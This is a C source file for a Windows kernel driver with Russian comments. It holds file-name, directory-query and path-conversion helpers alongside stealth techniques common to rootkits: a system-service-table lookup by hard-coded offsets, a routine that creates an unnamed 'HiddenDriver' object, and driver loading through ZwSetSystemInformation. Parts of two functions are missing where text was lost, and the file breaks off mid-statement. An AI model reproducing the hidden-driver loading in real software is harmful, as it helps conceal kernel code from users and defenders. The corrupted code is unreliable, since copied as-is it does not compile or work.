\u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\n//\n\nBOOLEAN GetFileNameNative(HANDLE hObject, PWSTR lpwszName, ULONG dwSize)\n{\n PFILE_OBJECT pFileObject;\n PDEVICE_OBJECT pDeviceObject;\n BOOLEAN bRes = FALSE;\n PFILE_NAME_INFORMATION FileName;\n\n FileName = (PFILE_NAME_INFORMATION) ExAllocatePool(NonPagedPool, 2*dwSize);\n if (!_MmIsAddressValid(FileName))\n return bRes;\n\n pFileObject = (PFILE_OBJECT) GetPointer(hObject);\n if (_MmIsAddressValid(pFileObject))\n {\n pDeviceObject = IoGetRelatedDeviceObject(pFileObject);\n if (_MmIsAddressValid(pDeviceObject))\n {\n bRes = FilemonQueryFileName(pDeviceObject, pFileObject, FileName, dwSize);\n if (bRes)\n {\n memset(lpwszName, 0, dwSize);\n memcpy(lpwszName, FileName->FileName, FileName->FileNameLength);\n }\n }\n ReleasePointer((POBJECT)pFileObject);\n }\n\n ExFreePool(FileName);\n\n return bRes;\n}\n\nNTSTATUS FilemonQueryFileNameComplete(PDEVICE_OBJECT DeviceObject,\n PIRP Irp,\n PVOID Context)\n{\n //\n // Copy the status information back into the \"user\" IOSB.\n //\n *Irp->UserIosb = Irp->IoStatus;\n\n// if( !NT_SUCCESS(Irp->IoStatus.Status) ) {\n//\n// DbgPrint((\" ERROR ON IRP: %x\\n\", Irp->IoStatus.Status ));\n// }\n \n //\n // Set the user event - wakes up the mainline code doing this.\n //\n KeSetEvent(Irp->UserEvent, 0, FALSE);\n \n //\n // Free the IRP now that we are done with it.\n //\n IoFreeIrp(Irp);\n \n //\n // We return STATUS_MORE_PROCESSING_REQUIRED because this \"magic\" return value\n // tells the I/O Manager that additional processing will be done by this driver\n // to the IRP - in fact, it might (as it is in this case) already BE done - and\n // the IRP cannot be completed.\n //\n return STATUS_MORE_PROCESSING_REQUIRED;\n}\n\n\n//----------------------------------------------------------------------\n//\n// FilemonQueryFileName\n//\n// This function retrieves the \"standard\" information for the\n// underlying file system, asking for the filename in particular.\n//\n//----------------------------------------------------------------------\nBOOLEAN FilemonQueryFileName(PDEVICE_OBJECT DeviceObject, \n PFILE_OBJECT FileObject,\n PFILE_NAME_INFORMATION FileName, ULONG FileNameLength)\n{\n PIRP irp;\n KEVENT event;\n IO_STATUS_BLOCK IoStatusBlock;\n PIO_STACK_LOCATION ioStackLocation;\n\n// DbgPrint((\"Getting file name for %x\\n\", FileObject));\n\n //\n // Initialize the event\n //\n KeInitializeEvent(&event, SynchronizationEvent, FALSE);\n\n //\n // Allocate an irp for this request. This could also come from a \n // private pool, for instance.\n //\n irp = IoAllocateIrp(DeviceObject->StackSize, FALSE);\n\n if (!irp)\n {\n //\n // Failure!\n //\n return FALSE;\n }\n \n //\n // Build the IRP's main body\n // \n irp->AssociatedIrp.SystemBuffer = FileName;\n irp->UserEvent = &event;\n irp->UserIosb = &IoStatusBlock;\n irp->Tail.Overlay.Thread = PsGetCurrentThread();\n irp->Tail.Overlay.OriginalFileObject = FileObject;\n irp->RequestorMode = KernelMode;\n irp->Flags = 0;\n\n //\n // Set up the I/O stack location.\n //\n ioStackLocation = IoGetNextIrpStackLocation(irp);\n ioStackLocation->MajorFunction = IRP_MJ_QUERY_INFORMATION;\n ioStackLocation->DeviceObject = DeviceObject;\n ioStackLocation->FileObject = FileObject;\n ioStackLocation->Parameters.QueryFile.Length = FileNameLength;\n ioStackLocation->Parameters.QueryFile.FileInformationClass = FileNameInformation;\n\n //\n // Set the completion routine.\n //\n IoSetCompletionRoutine(irp, FilemonQueryFileNameComplete, 0, TRUE, TRUE, TRUE);\n\n //\n // Send it to the FSD\n //\n (void) IoCallDriver(DeviceObject, irp);\n\n //\n // Wait for the I/O\n //\n KeWaitForSingleObject(&event, Executive, KernelMode, TRUE, 0);\n\n //\n // Done! Note that since our completion routine frees the IRP we cannot \n // touch the IRP now.\n //\n return NT_SUCCESS( IoStatusBlock.Status );\n}\n\nNTSTATUS\nNativeQueryDirectoryFileComplete(\n PDEVICE_OBJECT DeviceObject,\n PIRP Irp,\n PVOID Context\n )\n{\n *Irp->UserIosb = Irp->IoStatus;\n\n KeSetEvent(Irp->UserEvent, 0, FALSE);\n \n IoFreeIrp(Irp);\n \n return STATUS_MORE_PROCESSING_REQUIRED;\n}\n\nNTSTATUS\nNativeQueryDirectoryFile(\n PDRIVER_DISPATCH pMajorFunction,\n PDEVICE_OBJECT pDeviceObject,\n PFILE_OBJECT pFileObject,\n PIO_STATUS_BLOCK pIoStatusBlock,\n PVOID Buffer,\n ULONG BufferLength,\n FILE_INFORMATION_CLASS DirectoryInfoClass,\n BOOLEAN ByOne,\n PUNICODE_STRING pSearchTemplate,\n BOOLEAN Reset,\n BOOLEAN Index,\n ULONG dwIndex\n )\n{\n PIRP irp;\n KEVENT event;\n PIO_STACK_LOCATION ioStackLocation;\n PQUERY_DIRECTORY pQueryDir;\n\n KeInitializeEvent(&event, SynchronizationEvent, FALSE);\n\n irp = IoAllocateIrp(pDeviceObject->StackSize, FALSE);\n if (!irp)\n return STATUS_NO_MEMORY;\n\n irp->MdlAddress = NULL;\n irp->UserBuffer = Buffer;\n irp->AssociatedIrp.SystemBuffer = Buffer;\n irp->UserEvent = &event;\n irp->UserIosb = pIoStatusBlock;\n irp->Tail.Overlay.Thread = PsGetCurrentThread();\n irp->Tail.Overlay.OriginalFileObject = pFileObject;\n irp->RequestorMode = KernelMode;\n irp->Flags = 0;\n\n ioStackLocation = IoGetNextIrpStackLocation(irp);\n ioStackLocation->MajorFunction = IRP_MJ_DIRECTORY_CONTROL;\n ioStackLocation->MinorFunction = IRP_MN_QUERY_DIRECTORY;\n ioStackLocation->DeviceObject = pDeviceObject;\n ioStackLocation->FileObject = pFileObject;\n ioStackLocation->Flags = 0;\n if (ByOne)\n ioStackLocation->Flags |= SL_RETURN_SINGLE_ENTRY;\n if (Reset)\n ioStackLocation->Flags |= SL_RESTART_SCAN;\n if (Index)\n ioStackLocation->Flags |= SL_INDEX_SPECIFIED;\n\n pQueryDir = (PQUERY_DIRECTORY)&ioStackLocation->Parameters;\n pQueryDir->Length = BufferLength;\n pQueryDir->FileName = pSearchTemplate;\n pQueryDir->FileInformationClass = DirectoryInfoClass;\n pQueryDir->FileIndex = dwIndex;\n\n IoSetCompletionRoutine(irp, NativeQueryDirectoryFileComplete, 0, TRUE, TRUE, TRUE);\n\n if (pMajorFunction == NULL)\n {\n (void) IoCallDriver(pDeviceObject, irp);\n }\n else\n {\n --(irp->CurrentLocation);\n if (irp->CurrentLocation <= 0)\n {\n KeBugCheckEx(NO_MORE_IRP_STACK_LOCATIONS, (ULONG)irp, 0, 0, 0);\n }\n\n --(irp->Tail.Overlay.CurrentStackLocation);\n\n irp->Tail.Overlay.CurrentStackLocation->DeviceObject = pDeviceObject;\n pMajorFunction(pDeviceObject, irp);\n }\n\n KeWaitForSingleObject(&event, Executive, KernelMode, TRUE, 0);\n\n return pIoStatusBlock->Status;\n}\n\nPDEVICE_OBJECT GetVolumeDeviceObject(PFILE_OBJECT pFileObject)\n{\n PDEVICE_OBJECT pVolumeDeviceObject = NULL;\n\n if (pFileObject != NULL)\n {\n if (pFileObject->Vpb != NULL)\n {\n pVolumeDeviceObject = pFileObject->Vpb->RealDevice;\n }\n else\n {\n if (pFileObject->DeviceObject != NULL && pFileObject->DeviceObject->Vpb != NULL)\n pVolumeDeviceObject = pFileObject->DeviceObject->Vpb->RealDevice;\n }\n }\n\n return pVolumeDeviceObject;\n}\n\n//\n// \u0440\u0430\u0437\u043d\u043e\u0435\n//\n\nBOOLEAN GetDirectoryFromPath(PWSTR lpwszFullFileName, ULONG dwSize)\n{\n ULONG i;\n\n if (!_MmIsAddressValid(lpwszFullFileName) || !dwSize)\n return FALSE;\n\n i = dwSize;\n while(1)\n {\n if (i == 0)\n break;\n if (lpwszFullFileName[i] == L'\\\\')\n {\n lpwszFullFileName[i] = 0;\n break;\n }\n --i;\n }\n\n return TRUE;\n}\n\nBOOLEAN GetDirectoryFromPathA(CHAR *lpszFullFileName, ULONG dwSize)\n{\n ULONG i;\n\n if (!_MmIsAddressValid(lpszFullFileName) || !dwSize)\n return FALSE;\n\n i = dwSize;\n while(1)\n {\n if (i == 0)\n break;\n if (lpszFullFileName[i] == '\\\\')\n {\n lpszFullFileName[i] = 0;\n break;\n }\n --i;\n }\n\n return TRUE;\n}\n\nint GetToken(WCHAR *lpInBuf, int dwInBufSize, WCHAR *lpOutBuf, int dwOutBufSize, WCHAR *lpDeliver, int nDeliverCount, int nNumber)\n{\n int Count = 0, k, i, j;\n BOOLEAN bFlagExit;\n\n if (!lpOutBuf || !lpInBuf || !lpDeliver)\n return 0;\n *lpOutBuf = 0;\n// memset(lpOutBuf, 0, sizeof(WCHAR)*dwOutBufSize);\n\n for (i=0; i= dwInBufSize) \n {\n ++j;\n break;\n }\n }\n lpOutBuf[j] = 0;\n return j;\n }\n }\n\n return 0;\n}\n\nNTQUERYDIRECTORYOBJECT GetPtrToZwQueryDirectoryObject(void)\n{\n static NTQUERYDIRECTORYOBJECT pFn = NULL;\n LPSSDT lpSSDT;\n LPSSD lpSSD;\n ULONG dwNtBuildNumber;\n\n if (pFn == NULL)\n {\n lpSSDT = (LPSSDT) KeServiceDescriptorTable;\n lpSSD = &(lpSSDT->SystemServiceDescriptors[0]);\n \n dwNtBuildNumber = (*NtBuildNumber) & 0x00ffffff;\n switch (dwNtBuildNumber)\n {\n case 1381: // WinNT 4.0\n pFn = (NTQUERYDIRECTORYOBJECT) *((PVOID*)(lpSSD->lpSystemServiceTableAddressTable)+0x66);\n break;\n case 2195: // Win2K\n pFn = (NTQUERYDIRECTORYOBJECT) *((PVOID*)(lpSSD->lpSystemServiceTableAddressTable)+0x7e);\n break;\n default:\n if (dwNtBuildNumber >= 1946)\n pFn = (NTQUERYDIRECTORYOBJECT) *((PVOID*)(lpSSD->lpSystemServiceTableAddressTable)+0x7e);\n else\n pFn = NULL;\n break;\n }\n }\n\n return pFn;\n}\n\n\n//\n// \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438\n//\nSHARED_MEMORY* InitQueryObjectNameType(void)\n{\n BOOLEAN bRes;\n SHARED_MEMORY* pSharedBuffer = NULL;\n\n #ifdef __MISC_USE_KHEAP\n pSharedBuffer = (SHARED_MEMORY*)_AllocatePoolFromKHeap(hKHeapMiscDefault, sizeof(SHARED_MEMORY));\n #else\n pSharedBuffer = ExAllocatePool(NonPagedPool, sizeof(SHARED_MEMORY));\n #endif\n if (pSharedBuffer != NULL)\n {\n bRes = AllocateSharedMemory(pSharedBuffer, NonPagedPool, 2048+4+4);\n if (bRes == FALSE)\n {\n #ifdef __MISC_USE_KHEAP\n FreePoolToKHeap(hKHeapMiscDefault, pSharedBuffer);\n #else\n ExFreePool(pSharedBuffer);\n #endif\n pSharedBuffer = NULL;\n }\n }\n\n return pSharedBuffer;\n}\n\n//\n// \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438\n//\nvoid DeinitQueryObjectNameType(SHARED_MEMORY* pSharedBuffer)\n{\n if (_MmIsAddressValid(pSharedBuffer))\n {\n FreeSharedMemory(pSharedBuffer);\n #ifdef __MISC_USE_KHEAP\n FreePoolToKHeap(hKHeapMiscDefault, pSharedBuffer);\n #else\n ExFreePool(pSharedBuffer);\n #endif\n }\n}\n\nBOOLEAN QueryObjectNameType(PVOID pObjTypeInfo, ULONG dwSizeOfObjTypeInfo, HANDLE hDir, PWSTR pwszObjectName, SHARED_MEMORY* pSharedBuffer)\n{\n CHAR* Buf;\n POBJECT_NAMETYPE_INFO pObjName;\n ULONG* pObjectIndex = 0;\n ULONG* pLengthReturned = 0;\n ULONG Index = 0;\n BOOLEAN bFirst = TRUE;\n int i;\n NTQUERYDIRECTORYOBJECT pZwQueryDirectoryObject = 0;\n\n if (\n !_MmIsAddressValid(pObjTypeInfo) ||\n !_MmIsAddressValid(pwszObjectName) ||\n !_MmIsAddressValid(pSharedBuffer)\n )\n return FALSE;\n \n\n pZwQueryDirectoryObject = GetPtrToZwQueryDirectoryObject();\n if (!_MmIsAddressValid(pZwQueryDirectoryObject))\n {\n return FALSE;\n }\n\n Buf = (CHAR*)pSharedBuffer->m_lpUserMemory;\n pObjName = (POBJECT_NAMETYPE_INFO) Buf;\n pObjectIndex = (ULONG*)(Buf+2048);\n pLengthReturned = (ULONG*)(Buf+2048+4);\n\n while (pZwQueryDirectoryObject(hDir, Buf, 2048, ObjectArray, bFirst, pObjectIndex, pLengthReturned) >= 0)\n {\n bFirst = FALSE;\n for (i=0; Index<*pObjectIndex; ++Index, ++i)\n {\n if (!_wcsnicmp(pObjName[i].ObjectName.Buffer, pwszObjectName, pObjName[i].ObjectName.Length/sizeof(WCHAR)))\n {\n *pObjectIndex = Index;\n if (pZwQueryDirectoryObject(hDir, Buf, dwSizeOfObjTypeInfo, ObjectByOne, bFirst, pObjectIndex, pLengthReturned) == STATUS_SUCCESS)\n {\n memcpy(pObjTypeInfo, Buf, *pLengthReturned);\n ((POBJECT_NAMETYPE_INFO)pObjTypeInfo)->ObjectName.Buffer = (PWSTR)((DWORD)pObjTypeInfo+((DWORD)(pObjName->ObjectName.Buffer)-(DWORD)pObjName));\n ((POBJECT_NAMETYPE_INFO)pObjTypeInfo)->ObjectType.Buffer = (PWSTR)((DWORD)pObjTypeInfo+((DWORD)(pObjName->ObjectType.Buffer)-(DWORD)pObjName));\n return TRUE;\n }\n return FALSE;\n }\n }\n }\n \n return FALSE;\n}\n\nULONG DosPathNameToNtPathName(PWSTR pwszDosPath, PWSTR pwszNtPath, ULONG dwSizeNtPathByBytes, ULONG dwRecursiveDeep, PULONG pdwObjectSizeByBytes)\n{\n ULONG dwSizeOfNtPath = 0;\n ULONG dwSizeOfDosPath;\n PWSTR pwszCurrentDir, pwszPtrCurDir;\n PWSTR pwszPtrDosPath, pwszPtr;\n UNICODE_STRING dirString;\n OBJECT_ATTRIBUTES dirAttr;\n HANDLE hDir;\n NTSTATUS NtStatus;\n char Buf[512];\n POBJECT_NAMETYPE_INFO pObjName = (POBJECT_NAMETYPE_INFO) Buf;\n ULONG dwRestDosPath, dwFreeCurDir, dwSizeToken;\n ULONG _dwSizeNtPathByBytes = dwSizeNtPathByBytes;\n HANDLE hSymLink;\n UNICODE_STRING SymLinkString;\n OBJECT_ATTRIBUTES SymAttr;\n ULONG dwSizeSymLinkObj = 0;\n PWSTR pwszNewNtPath;\n SHARED_MEMORY* pSharedBuffer = NULL;\n\n// return dwSizeOfNtPath;\n\n DbgPrintMisc((\"DosPathNameToNtPathName - start\\n\"));\n \n if (KeGetCurrentIrql() > PASSIVE_LEVEL)\n return dwSizeOfNtPath;\n\n if (!_MmIsAddressValid(pwszNtPath))\n return dwSizeOfNtPath;\n memset(pwszNtPath, 0, dwSizeNtPathByBytes);\n\n dwSizeOfDosPath = wcslen(pwszDosPath);\n if (dwSizeOfDosPath <= 1)\n return dwSizeOfNtPath;\n\n #ifdef __MISC_USE_KHEAP\n pwszCurrentDir = (PWSTR)_AllocatePoolFromKHeap(hKHeapMiscDefault, sizeof(L\"\\\\??\\\\\")+(dwSizeOfDosPath+1)*sizeof(WCHAR));\n #else\n pwszCurrentDir = ExAllocatePool(NonPagedPool, sizeof(L\"\\\\??\\\\\")+(dwSizeOfDosPath+1)*sizeof(WCHAR));\n #endif\n if(!pwszCurrentDir)\n return dwSizeOfNtPath;\n\n memset(pwszCurrentDir, 0, sizeof(L\"\\\\??\\\\\")+(dwSizeOfDosPath+1)*sizeof(WCHAR));\n\n if (pwszDosPath[1] == L':')\n wcscpy(pwszCurrentDir, L\"\\\\??\");\n else\n wcscpy(pwszCurrentDir, L\"\\\\\");\n\n wcscpy(pwszNtPath, L\"\\\\\");\n\n pSharedBuffer = InitQueryObjectNameType(); // need for optimize by speed QueryObjectNameType() !!!!!!!\n\n RtlInitUnicodeString(&dirString, pwszCurrentDir);\n InitializeObjectAttributes(&dirAttr, &dirString, OBJ_CASE_INSENSITIVE, NULL, NULL);\n NtStatus = ZwOpenDirectoryObject(&hDir, DIRECTORY_QUERY, &dirAttr);\n if (NtStatus == STATUS_SUCCESS)\n {\n // \u0445\u0440\u0435\u043d \u0435\u0433\u043e \u0437\u043d\u0430\u0435\u0442 - NT \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u0442 \u043e\u0431\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u0435\u043b\u044f '\\', '/'\n // \u043e\u0434\u043d\u0430\u043a\u043e \u043f\u0443\u0442\u044c \u0434\u043e \u044f\u0434\u0440\u0430 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0432\u0440\u043e\u0434\u0435 \u0443\u0436\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u0438 \u0432\u0441\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0438\n // \u0432 \u043d\u0435\u043c '\\'. \u043e\u0434\u043d\u0430\u043a\u043e \u044f \u043d\u0435 \u0443\u0432\u0435\u0440\u0435\u043d - \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u044d\u0442\u0443 \u0432\u0435\u0449\u044c.\n pwszPtr = pwszDosPath;\n while (*pwszPtr)\n {\n if (*pwszPtr == L'/')\n *pwszPtr = L'\\\\';\n ++pwszPtr;\n }\n\n if (pwszDosPath[1] == L':')\n wcscat(pwszCurrentDir, L\"\\\\\");\n pwszPtrCurDir = pwszCurrentDir + wcslen(pwszCurrentDir);\n pwszPtrDosPath = pwszDosPath;\n if (pwszPtrDosPath[0] == L'\\\\')\n ++pwszPtrDosPath;\n dwFreeCurDir = ((sizeof(L\"\\\\??\\\\\")/sizeof(WCHAR))+dwSizeOfDosPath+1) - (pwszPtrCurDir - pwszCurrentDir);\n dwRestDosPath = dwSizeOfDosPath - (pwszPtrDosPath - pwszDosPath);\n \n while ((dwSizeToken = GetToken(pwszPtrDosPath, dwRestDosPath, pwszPtrCurDir, dwFreeCurDir, L\"\\\\\", 1, 0)))\n {\n dwFreeCurDir -= dwSizeToken;\n if (dwFreeCurDir != 0)\n --dwFreeCurDir;//sizeof(L'\\\\');\n dwRestDosPath -= dwSizeToken;\n if (dwRestDosPath != 0)\n --dwRestDosPath;//sizeof(L'\\\\');\n\n if (QueryObjectNameType(Buf, sizeof(Buf), hDir, pwszPtrCurDir, pSharedBuffer))\n {\n if (!wcsncmp(pObjName->ObjectType.Buffer, L\"Directory\", pObjName->ObjectType.Length/sizeof(WCHAR)))\n {\n if (_dwSizeNtPathByBytes < ((wcslen(pObjName->ObjectName.Buffer)+2)*sizeof(WCHAR)))\n {\n dwSizeOfNtPath = 0;\n break;\n }\n wcscat(pwszNtPath, pObjName->ObjectName.Buffer);\n wcscat(pwszNtPath, L\"\\\\\");\n _dwSizeNtPathByBytes -= ((wcslen(pObjName->ObjectName.Buffer)+1)*sizeof(WCHAR));\n\n ZwClose(hDir);\n RtlInitUnicodeString(&dirString, pwszCurrentDir);\n InitializeObjectAttributes(&dirAttr, &dirString, OBJ_CASE_INSENSITIVE, NULL, NULL);\n NtStatus = ZwOpenDirectoryObject(&hDir, DIRECTORY_QUERY, &dirAttr);\n if (NtStatus != STATUS_SUCCESS)\n {\n dwSizeOfNtPath = 0;\n break;\n }\n }\n else\n {\n if (!wcsncmp(pObjName->ObjectType.Buffer, L\"SymbolicLink\", pObjName->ObjectType.Length/sizeof(WCHAR)))\n {\n dwSizeOfNtPath = 0;\n\n RtlInitUnicodeString(&SymLinkString, pObjName->ObjectName.Buffer);\n InitializeObjectAttributes(&SymAttr, &SymLinkString, OBJ_CASE_INSENSITIVE, hDir, NULL);\n if (ZwOpenSymbolicLinkObject(&hSymLink, SYMBOLIC_LINK_QUERY, &SymAttr) == STATUS_SUCCESS)\n {\n SymLinkString.Buffer = (PWSTR)pwszNtPath;\n SymLinkString.Length = 0;\n SymLinkString.MaximumLength = (WORD)dwSizeNtPathByBytes - wcslen(pwszPtrDosPath)*sizeof(WCHAR);\n\n if (ZwQuerySymbolicLinkObject(hSymLink, &SymLinkString, &dwSizeSymLinkObj) == STATUS_SUCCESS)\n {\n if (pwszNtPath[0] == L'\\\\' && memcmp(pwszDosPath, pwszNtPath, SymLinkString.Length))\n {\n if (_dwSizeNtPathByBytes < (wcslen(pwszPtrDosPath+dwSizeToken)*sizeof(WCHAR)))\n {\n dwSizeOfNtPath = 0;\n ZwClose(hSymLink);\n break;\n }\n wcscat(pwszNtPath, pwszPtrDosPath+dwSizeToken);\n #ifdef __MISC_USE_KHEAP\n pwszNewNtPath = (PWSTR) _AllocatePoolFromKHeap(hKHeapMiscDefault, dwSizeNtPathByBytes);\n #else\n pwszNewNtPath= (PWSTR) ExAllocatePool(NonPagedPool, dwSizeNtPathByBytes);\n #endif\n if (pwszNewNtPath)\n {\n DbgPrintMisc((\"DosPathNameToNtPathName - recursive start\\n\"));\n if (dwRecursiveDeep != 0)\n {\n dwSizeOfNtPath = DosPathNameToNtPathName(pwszNtPath, pwszNewNtPath, dwSizeNtPathByBytes, --dwRecursiveDeep, pdwObjectSizeByBytes);\n if (dwSizeOfNtPath)\n {\n wcscpy(pwszNtPath, pwszNewNtPath);\n }\n }\n #ifdef __MISC_USE_KHEAP\n FreePoolToKHeap(hKHeapMiscDefault, pwszNewNtPath);\n #else\n ExFreePool(pwszNewNtPath);\n #endif\n }\n }\n }\n ZwClose(hSymLink);\n }\n break;\n }\n else // \u043d\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f \u0438 \u043d\u0435 \u0441\u0441\u044b\u043b\u043a\u0430\n {\n if (_MmIsAddressValid(pdwObjectSizeByBytes)) // \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0434\u043b\u0438\u043d\u0430 \u0438\u043c\u0435\u043d\u0438 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043f\u0443\u0442\u0438\n {\n *pdwObjectSizeByBytes = wcslen(pwszNtPath)*sizeof(WCHAR);\n }\n\n wcscat(pwszNtPath, pwszPtrDosPath);\n dwSizeOfNtPath = wcslen(pwszNtPath)*sizeof(WCHAR);\n break;\n }\n }\n }\n else\n {\n dwSizeOfNtPath = 0;\n break;\n }\n\n wcscat(pwszPtrCurDir, L\"\\\\\");\n pwszPtrCurDir += dwSizeToken + 1; // add wcslen(L\"\\\\\");\n pwszPtrDosPath += dwSizeToken + 1;\n }\n ZwClose(hDir);\n }\n\n DeinitQueryObjectNameType(pSharedBuffer);\n\n #ifdef __MISC_USE_KHEAP\n FreePoolToKHeap(hKHeapMiscDefault, pwszCurrentDir);\n #else\n ExFreePool(pwszCurrentDir);\n #endif\n\n DbgPrintMisc((\"DosPathNameToNtPathName - end\\n\"));\n\n return dwSizeOfNtPath;\n}\n\nVOID FlushInstuctionCache(VOID)\n{\n ULONG pNextInstr;\n\n// __asm _emit 0eah // data into code\n __asm\n {\n push eax\n mov eax, offset __NextInstr\n mov [pNextInstr], eax\n pop eax\n jmp dword ptr [pNextInstr]\n }\n__NextInstr:\n\n return;\n}\n\n//PDEVICE_OBJECT GetOwnDeviceObject(PDEVICE_OBJECT DeviceObject)\n//{\n// __asm int 1h\n// while (_MmIsAddressValid(DeviceObject))\n// {\n// if (_MmIsAddressValid(DeviceObject->DeviceObjectExtension))\n// {\n// if (_MmIsAddressValid(DeviceObject->DeviceObjectExtension->DeviceObject))\n// {\n// __asm int 1h\n// if (DeviceObject != DeviceObject->DeviceObjectExtension->DeviceObject)\n// DeviceObject = DeviceObject->DeviceObjectExtension->DeviceObject;\n// else\n// break;\n// }\n// else\n// break;\n// }\n// else\n// {\n// break;\n// }\n// }\n//\n// return DeviceObject;\n//}\n\nPDEVICE_OBJECT GetOwnDeviceObject(PDEVICE_OBJECT DeviceObject)\n{\n PDRIVER_OBJECT pDriverObject;\n PDEVICE_OBJECT pDevice, pDeviceAttached;\n BOOLEAN bFind = FALSE;\n\n #if 0\n if (!_MmIsAddressValid(DeviceObject))\n return NULL;\n\n pDriverObject = DeviceObject->DriverObject;\n\n if (!_MmIsAddressValid(pDriverObject))\n return NULL;\n\n pDevice = pDriverObject->DeviceObject;\n while (_MmIsAddressValid(pDevice))\n {\n pDeviceAttached = pDevice;\n while (_MmIsAddressValid(pDeviceAttached))\n {\n if (pDeviceAttached->AttachedDevice == DeviceObject)\n {\n DeviceObject = GetOwnDeviceObject(pDeviceAttached);\n bFind = TRUE;\n break;\n }\n pDeviceAttached = pDeviceAttached->AttachedDevice;\n }\n if (bFind == TRUE)\n break;\n\n pDevice = pDevice->NextDevice;\n }\n #endif\n\n if (!DeviceObject)\n return NULL;\n\n pDriverObject = DeviceObject->DriverObject;\n\n if (!pDriverObject)\n return NULL;\n\n pDevice = pDriverObject->DeviceObject;\n while (pDevice)\n {\n pDeviceAttached = pDevice;\n while (pDeviceAttached)\n {\n if (pDeviceAttached->AttachedDevice == DeviceObject)\n {\n DeviceObject = GetOwnDeviceObject(pDeviceAttached);\n bFind = TRUE;\n break;\n }\n pDeviceAttached = pDeviceAttached->AttachedDevice;\n }\n if (bFind == TRUE)\n break;\n\n pDevice = pDevice->NextDevice;\n }\n\n return DeviceObject;\n}\n\nPDEVICE_OBJECT GetOwnDeviceObjectFromIrp(PIRP pIrp)\n{\n PDEVICE_OBJECT pDevice = NULL;\n CHAR CurrentLocation;\n PIO_STACK_LOCATION CurrentIrpStack;\n\n if (pIrp == NULL)\n return pDevice;\n\n CurrentLocation = pIrp->CurrentLocation;\n CurrentIrpStack = IoGetCurrentIrpStackLocation(pIrp);\n\n pDevice = CurrentIrpStack->DeviceObject;\n while (--CurrentLocation)\n {\n --CurrentIrpStack;\n if (CurrentIrpStack->DeviceObject != NULL)\n pDevice = CurrentIrpStack->DeviceObject;\n }\n\n return pDevice;\n}\n\nNTSTATUS DefaultDriverObjectDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)\n{\n Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;\n\n IoCompleteRequest(Irp, IO_NO_INCREMENT);\n\n return STATUS_INVALID_DEVICE_REQUEST;\n}\n\nPDRIVER_OBJECT CreateInvisibleDriverObject(PVOID pBaseAddress, ULONG dwDriverSize, HANDLE hSystemImage, PDRIVER_INITIALIZE DriverEntry)\n{\n NTSTATUS NtStatus;\n OBJECT_ATTRIBUTES ObjectAttributes;\n WCHAR DriverName[] = L\"\\\\Driver\\\\HiddenDriver\";\n UNICODE_STRING UniDriverName;\n PDRIVER_OBJECT pObjectBody = NULL;\n HANDLE hDriver;\n int i;\n\n RtlInitUnicodeString(&UniDriverName, DriverName);\n InitializeObjectAttributes(&ObjectAttributes, NULL/*&UniDriverName*/, OBJ_PERMANENT, NULL, NULL);\n\n NtStatus = ObCreateObject(KernelMode, (POBJECT_TYPE)IoDriverObjectType, &ObjectAttributes, \n KernelMode, 0, sizeof(DRIVER_OBJECT) + sizeof(DRIVER_EXTENSION),\n 0, 0, (PVOID*)&pObjectBody);\n if (NtStatus != STATUS_SUCCESS)\n {\n DbgPrint (\"CreateInvisibleDriverObject: NtStatus = %08x \\n\", NtStatus);\n return NULL;\n }\n\n memset(pObjectBody, 0, sizeof(DRIVER_OBJECT) + sizeof(DRIVER_EXTENSION));\n\n pObjectBody->DriverExtension = (PDRIVER_EXTENSION)((PCHAR)pObjectBody + sizeof(DRIVER_OBJECT));\n pObjectBody->DriverExtension->DriverObject = pObjectBody; // ??????\n\n pObjectBody->DriverStart = pBaseAddress;\n pObjectBody->DriverSize = dwDriverSize;\n pObjectBody->DriverSection = hSystemImage;\n\n pObjectBody->DriverInit = DriverEntry;\n\n for (i = 0; iMajorFunction[i] = DefaultDriverObjectDispatch;\n\n pObjectBody->Type = IO_TYPE_DRIVER;\n pObjectBody->Size = sizeof(DRIVER_OBJECT);\n\n NtStatus = ObInsertObject(pObjectBody, NULL, 1, 0, 0, &hDriver);\n if (NtStatus != STATUS_SUCCESS)\n {\n // delete object\n DbgPrint (\"CreateInvisibleDriverObject: NtStatus = %08x \\n\", NtStatus);\n return NULL;\n }\n\n return pObjectBody;\n}\n\nHANDLE LoadDevice(PWSTR pwszDeviceFileName)\n{\n SYSTEM_LOAD_DRIVER LoadDriverInfo;\n NTSTATUS NtStatus;\n\n if (pwszDeviceFileName == NULL)\n return NULL;\n\n memset(&LoadDriverInfo, 0, sizeof(LoadDriverInfo));\n\n RtlInitUnicodeString(&LoadDriverInfo.usImageFile, pwszDeviceFileName);\n\n NtStatus = ZwSetSystemInformation(SystemLoadDriver, &LoadDriverInfo, sizeof(LoadDriverInfo));\n\n DbgPrint (\"Loadevice: \\n pBaseAddress = %08x\\n hSystemImage = %08x\\n pEntryPoint = %08x\\n pDirectoryEntry = %08x\\n\",\n LoadDriverInfo.pBaseAddress, LoadDriverInfo.hSystemImage, LoadDriverInfo.pEntryPoint, 